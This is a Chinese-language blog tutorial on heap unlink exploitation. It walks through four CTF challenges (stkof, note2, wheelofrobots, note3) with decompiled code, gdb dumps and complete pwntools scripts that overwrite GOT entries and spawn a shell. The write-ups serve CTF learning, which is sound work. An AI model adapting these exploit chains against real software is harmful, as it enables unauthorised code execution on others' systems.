pwn堆入门系列教程4

NoOne / 2019-09-17 09:11:16 / 浏览数 3614 安全技术 二进制安全 顶(0) 踩(0)

pwn堆入门系列教程4

pwn堆入门系列教程1
pwn堆入门系列教程2
pwn堆入门系列教程3

序言：这次进入到unlink的学习了，unlink在第一节已经用上了，但我用起来还不是很流畅，还是去翻了第一节的笔记，最主要是指针的问题，可能没学好指针，理解了unli

2014 HITCON stkof

功能分析

1. 几乎无输出的题目
2. 申请功能，申请指定大小size
3. 删除功能，删除idx位置处的chunk
4. 输出一些无用字符串，有个strlen，本来想用来做/bin/sh的，发觉也不行
5. 编辑功能

漏洞点分析

```
signed __int64 fill()
{
 signed __int64 result; // rax
 int i; // eax
 unsigned int idx; // [rsp+8h] [rbp-88h]
 __int64 size; // [rsp+10h] [rbp-80h]
 char *ptr; // [rsp+18h] [rbp-78h]
 char s; // [rsp+20h] [rbp-70h]
 unsigned __int64 v6; // [rsp+88h] [rbp-8h]

 v6 = __readfsqword(0x28u);
 fgets(&s, 16, stdin);
 idx = atol(&s);
 if ( idx > 0x100000 )
   return 0xFFFFFFFFLL;
 if ( !globals[idx] )
   return 0xFFFFFFFFLL;
 fgets(&s, 16, stdin);
 size = atoll(&s);
 ptr = globals[idx];
 for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
 {
   ptr += i;
   size -= i;
 }
 if ( size )
   result = 0xFFFFFFFFLL;
 else
   result = 0LL;
 return result;
}
```

fill函数里也就是编辑功能处可以自定大小编辑，也就是说存在堆溢出

漏洞利用过程

这里有个小细节，自己补充下知识，关于缓冲区的问题，这个细节也解决了我自己出pwn题的时候输出，为什么输出不了的问题
就是如果未设置缓冲区为0的话，这道题里是第一次调用fgets是要先申请1024大小的堆块作为缓冲区的，还有printf也要申请1024大小的堆块作为缓冲区

知道创宇讲解的一道题目
ctf-wiki讲解这部分知识

1. 首先先申请一块内存，冲掉printf和fgets所需缓冲区

```
free_got = elf.got['free']
   puts_got = elf.got['puts']
   puts_plt = elf.plt['puts']
   atoi_got = elf.got['atoi']
   ptr = 0x0000000000602140+0x10
   alloc(0x100) #idx1
```

1. 是unlink部分，当然用unlink方法来解了，第一节学过了，伪造一个chunk，然后通过溢出覆盖第二个堆块的pre_size和size，在free第二个堆块的时候就会unlink我们的

```
alloc(0x30) #idx2
   alloc(0x80) #idx3
   alloc(0x30) #idx4
   payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
   payload = payload.ljust(0x30, 'a')
   payload += p64(0x30)
   payload += p64(0x90)
   fill(2, payload)
   delete(3)
```

```
gdb-peda$ x/20gx 0x20f7560-0x30
0x20f7530:  0x0000000000000000  0x0000000000000041 #chunk2
0x20f7540:  0x0000000000000000  0x0000000000000030 #p
0x20f7550:  0x0000000000602138  0x0000000000602140
0x20f7560:  0x6161616161616161  0x6161616161616161
0x20f7570:  0x0000000000000030  0x0000000000000090 #chunk3
0x20f7580:  0x0000000000000000  0x0000000000000000
0x20f7590:  0x0000000000000000  0x0000000000000000
0x20f75a0:  0x0000000000000000  0x0000000000000000
0x20f75b0:  0x0000000000000000  0x0000000000000000
0x20f75c0:  0x0000000000000000  0x0000000000000000
```

这里已经溢出覆盖掉chunk3的size了
其实unlink已经说过一次了，

- 首先，第一步要过掉unlink的size检测，覆盖chunk3的pre_size为fake_chunk大小
- 其次chunk3的insue位要为0，标志前面一个堆块未在使用当中
- 然后关键点就是伪造fd跟bk了
- 在第一点中我将ptr设置为global+0x10意思就是第二块堆块地址，这就是存放p的地方
- unlink第一步 FD = p->fd = ptr-0x18
- unlink第二步 BK=p->bk = ptr-0x10
- unlink第三步 判断FD->bk == p && BK->fd == p ?
- 过了检验后
- FD->bk = * (ptr-0x18 + 0x18)= BK = ptr -0x10
- BK->fd = (ptr-0x10+0x10) = FD = ptr-0x18
  最终结果就是ptr = ptr-0x18，而ptr是0x0000000000602150故最终就是将global+0x10处的值改为0x602138
  然后我们在编辑第二块的时候实际上就是编辑0x602138处，也就是global-0x8处

1. 泄露地址

```
payload = 'a'*0x10
   payload += p64(free_got)+p64(puts_got) + 'a'*8 + p64(atoi_got) #[redacted]
   fill(2, payload)
   fill(1,p64(puts_plt))
   delete(2)
   io.recvuntil('FAIL\n')
   io.recvuntil('FAIL\n')
   puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
   io.success("puts_addr: 0x%x" % puts_addr)
   libc_base = puts_addr - libc.symbols['puts']
   system_addr = libc_base + libc.symbols['system']
   bin_sh_addr = libc_base + libc.search('/bin/sh').next()
   io.success("libc_base: 0x%x" % libc_base)
   io.success("system_addr: 0x%x" % system_addr)
```

没什么好说的啊，覆写got表为put泄露地址

1. 最后我修改atoi为system，因为输入的会经过atoi转换，所以输入的就是system参数

```
gdb.attach(io)
   fill(4, p64(system_addr))
   io.sendline("/bin/sh\x00")
```

exp

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'stkof'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'stkof'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
   context.log_level = 'debug'
   io = ctx.start()
   libc = ELF(libc)
else:
   io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)
def alloc(size):
   io.sendline("1")
   io.sendline(str(size))
   io.recvuntil("OK\n")

def printf(idx):
   io.sendline("4")
   io.sendline(str(idx))

def fill(idx, content):
   io.sendline("2")
   io.sendline(str(idx))
   io.sendline(str(len(content)))
   io.sendline(content)
   io.recvuntil("OK\n")

def delete(idx):
   io.sendline("3")
   io.sendline(str(idx))


def exp():

   free_got = elf.got['free']
   puts_got = elf.got['puts']
   puts_plt = elf.plt['puts']
   atoi_got = elf.got['atoi']
   ptr = 0x0000000000602140+0x10
   #for buffer
```

```
    alloc(0x100) #idx1
    alloc(0x30) #idx2
    alloc(0x80) #idx3
    alloc(0x30) #idx4
    payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
    payload = payload.ljust(0x30, 'a')
    payload += p64(0x30)
    payload += p64(0x90)
    fill(2, payload)
    delete(3)
    payload = 'a'*0x10
    payload += p64(free_got)+p64(puts_got) + 'a'*8 + p64(atoi_got)
    fill(2, payload)
    fill(1,p64(puts_plt))
    delete(2)
    io.recvuntil('FAIL\n')
    io.recvuntil('FAIL\n')
    puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
    io.success("puts_addr: 0x%x" % puts_addr)
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + libc.search('/bin/sh').next()
    io.success("libc_base: 0x%x" % libc_base)
    io.success("system_addr: 0x%x" % system_addr)

    gdb.attach(io)
    fill(4, p64(system_addr))
    io.sendline("/bin/sh\x00")

    #gdb.attach(io)
if __name__ == '__main__':
    exp()
    io.interactive()
```

2016 ZCTF note2

[ctf-wiki讲解]

我只讲差异，里面有的我就不讲了，我只发现了这个漏洞点
程序在每次编辑 note 时，都会申请 0xa0 大小的内存，但是在 free 之后并没有设置为 NULL。
然后我并不会利用这个，本来想利用chunk
extends上一节学的，发觉他free后的大小不怎么对，到时看下源码吧，他free后的chunk大小不是合并后的大小，最后看到了大佬讲解的那个0，然后通过-1转成无符号整数

漏洞利用过程

第一步构造unlink，原理上一节弄过了，所以感觉这次顺畅好多

```
ptr = 0x0000000000602120
    first()
    # unlink
    payload = p64(0) + p64(0xa0) + p64(ptr-0x18) + p64(ptr-0x10)
    payload = payload.ljust(0x80, 'a')
    newnote(0x80, payload)
    newnote(0, 'b'*0x8)
    newnote(0x80, 'c'*0x20)
    delete(1)
    newnote(0, 'b'*0x10+p64(0xa0)+p64(0x90))
    delete(2)
```

unlink过后修改ptr[0]指针，指向atoi的got表，泄露地址，为什么指向atoi?为后面做准备

```
payload = 'a'*0x18 + p64(elf.got['atoi'])
    editnote(0, 1, payload)
    shownote(0)
    io.recvuntil("TheNewContents:Edit note success!\n")
    io.recvuntil("Content is ")
    atoi_addr = u64(io.recvline().strip().ljust(8, '\x00'))
    io.success("atoi_addr: 0x%x" % atoi_addr)
    libc_base = atoi_addr - libc.symbols['atoi']
```

```
   system_addr = libc_base + libc.symbols['system']
   io.success("libc_base: 0x%x" % libc_base)
```

getshell,因为此时第一块堆块还指向atoi的got表，所以此时编辑下，就可以覆写got表了，输入的时候会将输入串atoi，所以就成为参数了

```
#get_shell
   editnote(0, 1, p64(system_addr))
   io.sendline("/bin/sh")
```

exp

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'note2'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'note2'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
   context.log_level = 'debug'
   io = ctx.start()
   libc = ELF(libc)
else:
   io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

def newnote(size, content):
   io.sendline("1")
   io.sendline(str(size))
   io.sendline(content)

def editnote(idx, choice, content):
   io.sendline("3")
   io.sendline(str(idx))
   io.sendline(str(choice))
   io.sendline(content)

def delete(idx):
   io.sendline("4")
   io.sendline(str(idx))

def shownote(idx):
   io.sendline("2")
   io.sendline(str(idx))

def first():
   io.sendlineafter("Input your name:\n", "greenhand")
   io.sendlineafter("Input your address:\n", "greenhand")

def exp():
```

```
    ptr = 0x0000000000602120
    first()
    # unlink
    payload = p64(0) + p64(0xa0) + p64(ptr-0x18) + p64(ptr-0x10)
    payload = payload.ljust(0x80, 'a')
    newnote(0x80, payload)
    newnote(0, 'b'*0x8)
    newnote(0x80, 'c'*0x20)
    delete(1)
    newnote(0, 'b'*0x10+p64(0xa0)+p64(0x90))
    delete(2)

    # leak
    payload = 'a'*0x18 + p64(elf.got['atoi'])
    editnote(0, 1, payload)
    shownote(0)
    io.recvuntil("TheNewContents:Edit note success!\n")
    io.recvuntil("Content is ")
    atoi_addr = u64(io.recvline().strip().ljust(8, '\x00'))
    io.success("atoi_addr: 0x%x" % atoi_addr)
    libc_base = atoi_addr - libc.symbols['atoi']
    system_addr = libc_base + libc.symbols['system']
    io.success("libc_base: 0x%x" % libc_base)

    #get_shell
    editnote(0, 1, p64(system_addr))
    io.sendline("/bin/sh")


    gdb.attach(io)

if __name__ == '__main__':
    exp()
    io.interactive()
```

2017 insomni'hack wheelofrobots

这道题难点我觉得在于代码长了点，然后漏洞点难找了点，其余还好，我自己分析的时候又是一头雾水，只看出free的时候没置空，然后还有的是在change部分，他代销有

[ctf-wiki讲解]

我不在分析功能以及漏洞点分析，这次我自己没分析出来，只讲下漏洞利用过程以及过程中踩到的坑

漏洞利用过程

1. 准备部分

```
def add(idx, size=0):
    io.sendlineafter("Your choice :", "1")
    io.sendlineafter("Your choice :", str(idx))
    if idx == 2:
        io.sendlineafter("Increase Bender's intelligence: ", str(size))
    elif idx == 3:
        io.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
    elif idx == 6:
        io.sendlineafter("Increase Destructor's powerful: ", str(size))


def remove(idx):
    io.sendlineafter("Your choice :", "2")
    io.sendlineafter("Your choice :", str(idx))

def change(idx, name):
    io.sendlineafter("Your choice :", "3")
    io.sendlineafter("Your choice :", str(idx))
    io.sendafter("Robot's name: ", name)

def start_robot():
    io.sendlineafter("Your choice :", "4")
```

```
def off_by_one(byte):
   io.sendlineafter("Your choice :", "1")
   io.sendlineafter("Your choice :", "9999" + byte)

def write(addr1, addr2):
   change(1, p64(addr1))
   change(6, p64(addr2))
```

注意：这里change是sendafter不是sendline，因为sendline会发送多一个\n破坏地址

1. off-by-one溢出修改部分

```
add(2, 1)
   remove(2)
   off_by_one('\x01')
   # change fd pointer
   change(2, p64(0x0000000000603138))
   off_by_one('\x00')

   #pass the fastbin check size=0x20
   add(3, 0x20)
   #now idx2->0x603138->null
   #get malloc to -> 0x603138
   add(2, 1)
   #now 0x603138->null
   add(1)

   #whell <=2
   remove(2)
   remove(3)
```

我觉得这部分应该是顺风顺水的吧，off-by-one学过了

1. 关键点

```
#now only have idx1 pointer->0x603138 , it's destructor_size

   #the size must bigger than remove(2) remove(3)'s  size
   add(6, 4)
   add(3, 7)
   #change idx6 size:1000
   change(1, p64(1000))
   ptr = 0x00000000006030E8
   payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
   payload = payload.ljust(0x50, 'a')
   payload += p64(0x50) #pre_size
   payload += p64(0xa0) #size
   change(6, payload)

   # unlink
   remove(3)
```

这里的话，要注意的就是开头申请的两个add了，那个不能低于remove的大小，不然会重新覆盖到那上边去，至于大小是多少，自己构造就好，然后溢出覆盖unlink，常见

1. 修改并泄露地址

```
payload = p64(0)*2 + 'a'*0x18 + p64(ptr)
   change(6, payload)
   #gdb.attach(io)

   write(elf.got['exit'], 0x0000000000401855)

   # change robot_wheel to 3
   write(0x603130, 3)
   change(1, p64(elf.got['puts']))
   start_robot()
   # leak
   io.recvuntil(" Thx ")
   puts_addr = u64(io.recv(6).strip().ljust(8, '\x00'))
   io.success("puts_addr: 0x%x" % puts_addr)
```

```
   libc_base = puts_addr - libc.symbols['puts']
   system_addr = libc_base + libc.symbols['system']
```

我觉得这部分跟unlink属于同一部分的，重新修改地址，这里是将tinny改成指向destructor的位置处，这样编辑1就可以编辑第6处指针，在编辑第六处就是写入了，相当于写入完后泄露

1. getshell了

```
#get shell
   write(elf.got['atoi'], system_addr)
   io.send("sh;#")
```

跟前面套路一样，改掉atoi，然后传入sh就完了，ctf-wiki的改的free

exp

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'wheelofrobots'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'wheelofrobots'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
   context.log_level = 'debug'
   io = ctx.start()
   libc = ELF(libc)
else:
   io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

def add(idx, size=0):
   io.sendlineafter("Your choice :", "1")
   io.sendlineafter("Your choice :", str(idx))
   if idx == 2:
       io.sendlineafter("Increase Bender's intelligence: ", str(size))
   elif idx == 3:
       io.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
   elif idx == 6:
       io.sendlineafter("Increase Destructor's powerful: ", str(size))


def remove(idx):
   io.sendlineafter("Your choice :", "2")
   io.sendlineafter("Your choice :", str(idx))

def change(idx, name):
   io.sendlineafter("Your choice :", "3")
   io.sendlineafter("Your choice :", str(idx))
   io.sendafter("Robot's name: ", name)
```

```
def start_robot():
   io.sendlineafter("Your choice :", "4")

def off_by_one(byte):
   io.sendlineafter("Your choice :", "1")
   io.sendlineafter("Your choice :", "9999" + byte)

def write(addr1, addr2):
   change(1, p64(addr1))
   change(6, p64(addr2))

def exp():
   add(2, 1)
   remove(2)
   off_by_one('\x01')
   # change fd pointer
   change(2, p64(0x0000000000603138))
   off_by_one('\x00')

   #pass the fastbin check size=0x20
   add(3, 0x20)
   #now idx2->0x603138->null
   #get malloc to -> 0x603138
   add(2, 1)
   #now 0x603138->null
   add(1)

   #whell <=2
   remove(2)
   remove(3)

   #now only have idx1 pointer->0x603138 , it's destructor_size

   #the size must bigger than remove(2) remove(3)'s  size
   add(6, 4)
   add(3, 7)
   #change idx6 size:1000
   change(1, p64(1000))
   ptr = 0x00000000006030E8
   payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
   payload = payload.ljust(0x50, 'a')
   payload += p64(0x50) #pre_size
   payload += p64(0xa0) #size
   change(6, payload)

   # unlink
   remove(3)

   payload = p64(0)*2 + 'a'*0x18 + p64(ptr)
   change(6, payload)
   #gdb.attach(io)

   write(elf.got['exit'], 0x0000000000401855)

   # change robot_wheel to 3
   write(0x603130, 3)
   change(1, p64(elf.got['puts']))
   start_robot()
   # leak
   io.recvuntil(" Thx ")
   puts_addr = u64(io.recv(6).strip().ljust(8, '\x00'))
   io.success("puts_addr: 0x%x" % puts_addr)
   libc_base = puts_addr - libc.symbols['puts']
   system_addr = libc_base + libc.symbols['system']

   #get shell
   write(elf.got['atoi'], system_addr)
   io.send("sh;#")
```

```
if __name__ == '__main__':
   exp()
   io.interactive()
```

zctf-note3

这道题算自己做的了，自己分析漏洞点，自己做，不过有两个位置卡住了，暂时未得以解决先记录下来，从他人wp里获得的解决方案

功能分析

有增删查改，
查询部分是没用的，无法泄露

漏洞点分析

不知道为什么，看到这个读取函数瞬间就懂怎么做了

```
unsigned __int64 __fastcall sub_4008DD(__int64 a1, __int64 a2, char a3)
{
 char v4; // [rsp+Ch] [rbp-34h]
 char buf; // [rsp+2Fh] [rbp-11h]
 unsigned __int64 i; // [rsp+30h] [rbp-10h]
 ssize_t v7; // [rsp+38h] [rbp-8h]

 v4 = a3;
 for ( i = 0LL; a2 - 1 > i; ++i )
 {
   v7 = read(0, &buf, 1uLL);
   if ( v7 <= 0 )
     exit(-1);
   if ( buf == v4 )
     break;
   *(_BYTE *)(i + a1) = buf;
 }
 *(_BYTE *)(a1 + i) = 0;
 return i;
}
```

a2-1跟我前面做过的一两道题都类似，利用0-1负数，然后转成无符号比较，变成很大，也就是堆溢出

注意：这里的坑点就是a3,
a3假设被定为\n，我们sendline的时候sendline(p64(addr))会覆盖到下一个地址的最后一位，并将他改成\x00，这是最坑的点了，我被这个坑了好久

漏洞利用过程

1. 准备工作

```
def add(size, content):
   io.sendlineafter("option--->>\n", "1")
   io.sendlineafter("Input the length of the note content:(less than 1024)\n", str(size))
   io.sendlineafter("Input the note content:\n", content)

def show():
   io.sendlineafter("option--->>\n", "2")

def edit(idx, content):
   io.sendlineafter("option--->>\n", "3")
   io.sendlineafter("Input the id of the note:\n", str(idx))
   io.sendlineafter("Input the new content:\n", content)

def delete(idx):
   io.sendlineafter("option--->>\n", "4")
   io.sendlineafter("Input the id of the note:\n", str(idx))
```

不用多说吧，每道堆题一样的套路

1. unlink部分

```
add(0, 'a'*0x8) #idx0
   add(0, 'b'*0x8) #idx1
   add(0x80, 'c'*0x80) #idx2
   ptr = 0x6020c8
   payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
   payload = payload.ljust(0x30, 'a')
   payload += p64(0x30)
   payload += p64(0x90)
   edit(0, payload)
   delete(2)
```

这里有坑，切记，不能删掉idx1在进行覆盖，会报错，至于具体报错原因我不清楚，我估计是fastbin链上修改成了错误的fd指针，检测到了，这个问题待解决

简单的unlink

1. 这里我利用了上一道题的思路，一样的做，修改idx0指向idx1指针部分，通过修改idx0，然后达到任意地址写

```
free_got = elf.got['free']
   puts_plt = elf.plt['puts']
   puts_got = elf.got['puts']
   atol_got = elf.got['atol']
   atoi_got = elf.got['atoi']
   payload = 'a'*0x18 + p64(ptr+8) + p64(elf.got['free'])
   #payload = 'a'*0x18 + p64(free_got) + p64(puts_got)
   edit(0, payload)
   #edit(0, p64(puts_plt)[:-1])
   edit(1, p64(elf.plt['puts'])[:-1]) #■■■■■■■■■■■■■■■■■■■■■■■■
   #delete(1)
   edit(0, p64(atol_got))
   delete(1)
   atol_addr = u64(io.recvline().strip().ljust(8, '\x00'))
   libc_base = atol_addr - libc.symbols['atol']
   system_addr = libc_base + libc.symbols['system']
   io.success("libc_base: 0x%x" % libc_base)
   io.success("atol_got: 0x%x" % atol_got)
```

1. getshell

```
edit(0, p64(atoi_got))
   edit(1, p64(system_addr)[:-1])
   gdb.attach(io)
   io.sendline("/bin/sh;#")
```

exp

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'note3'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'note3'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
   context.log_level = 'debug'
   io = ctx.start()
   libc = ELF(libc)
```

```
else:
   io = remote(host,port)
#============================================================
#                    EXPLOIT GOES HERE
#============================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

def add(size, content):
   io.sendlineafter("option--->>\n", "1")
   io.sendlineafter("Input the length of the note content:(less than 1024)\n", str(size))
   io.sendlineafter("Input the note content:\n", content)

def show():
   io.sendlineafter("option--->>\n", "2")

def edit(idx, content):
   io.sendlineafter("option--->>\n", "3")
   io.sendlineafter("Input the id of the note:\n", str(idx))
   io.sendlineafter("Input the new content:\n", content)

def delete(idx):
   io.sendlineafter("option--->>\n", "4")
   io.sendlineafter("Input the id of the note:\n", str(idx))

def exp():
   add(0, 'a'*0x8) #idx0
   add(0, 'b'*0x8) #idx1
   add(0x80, 'c'*0x80) #idx2
   ptr = 0x6020c8
   payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
   payload = payload.ljust(0x30, 'a')
   payload += p64(0x30)
   payload += p64(0x90)
   edit(0, payload)
   delete(2)

   free_got = elf.got['free']
   puts_plt = elf.plt['puts']
   puts_got = elf.got['puts']
   atol_got = elf.got['atol']
   atoi_got = elf.got['atoi']
   payload = 'a'*0x18 + p64(ptr+8) + p64(elf.got['free'])
   #payload = 'a'*0x18 + p64(free_got) + p64(puts_got)
   edit(0, payload)
   #edit(0, p64(puts_plt)[:-1])
   edit(1, p64(elf.plt['puts'])[:-1])
   #delete(1)
   edit(0, p64(atol_got))
   delete(1)
   atol_addr = u64(io.recvline().strip().ljust(8, '\x00'))
   libc_base = atol_addr - libc.symbols['atol']
   system_addr = libc_base + libc.symbols['system']
   io.success("libc_base: 0x%x" % libc_base)
   io.success("atol_got: 0x%x" % atol_got)
   edit(0, p64(atoi_got))
   edit(1, p64(system_addr)[:-1])
   gdb.attach(io)
   io.sendline("/bin/sh;#")


if __name__ == '__main__':
   exp()
   io.interactive()
```

总结

1. unlink部分完结了
2. unlink部分学习时间4天，现在对于unlink轻车熟路了，不过通常不是单一漏洞点，单一的好分析点
3. 要多学学逆向，逆向起复杂的题目来真的难，像那个机器人那题，我连漏洞点都找不到，真的惨
4. 我觉得机器人那题还有另外解法，因为4和5选项越界部分都没用上
5. 感谢萝卜师傅的指导

参考链接

[看雪大佬]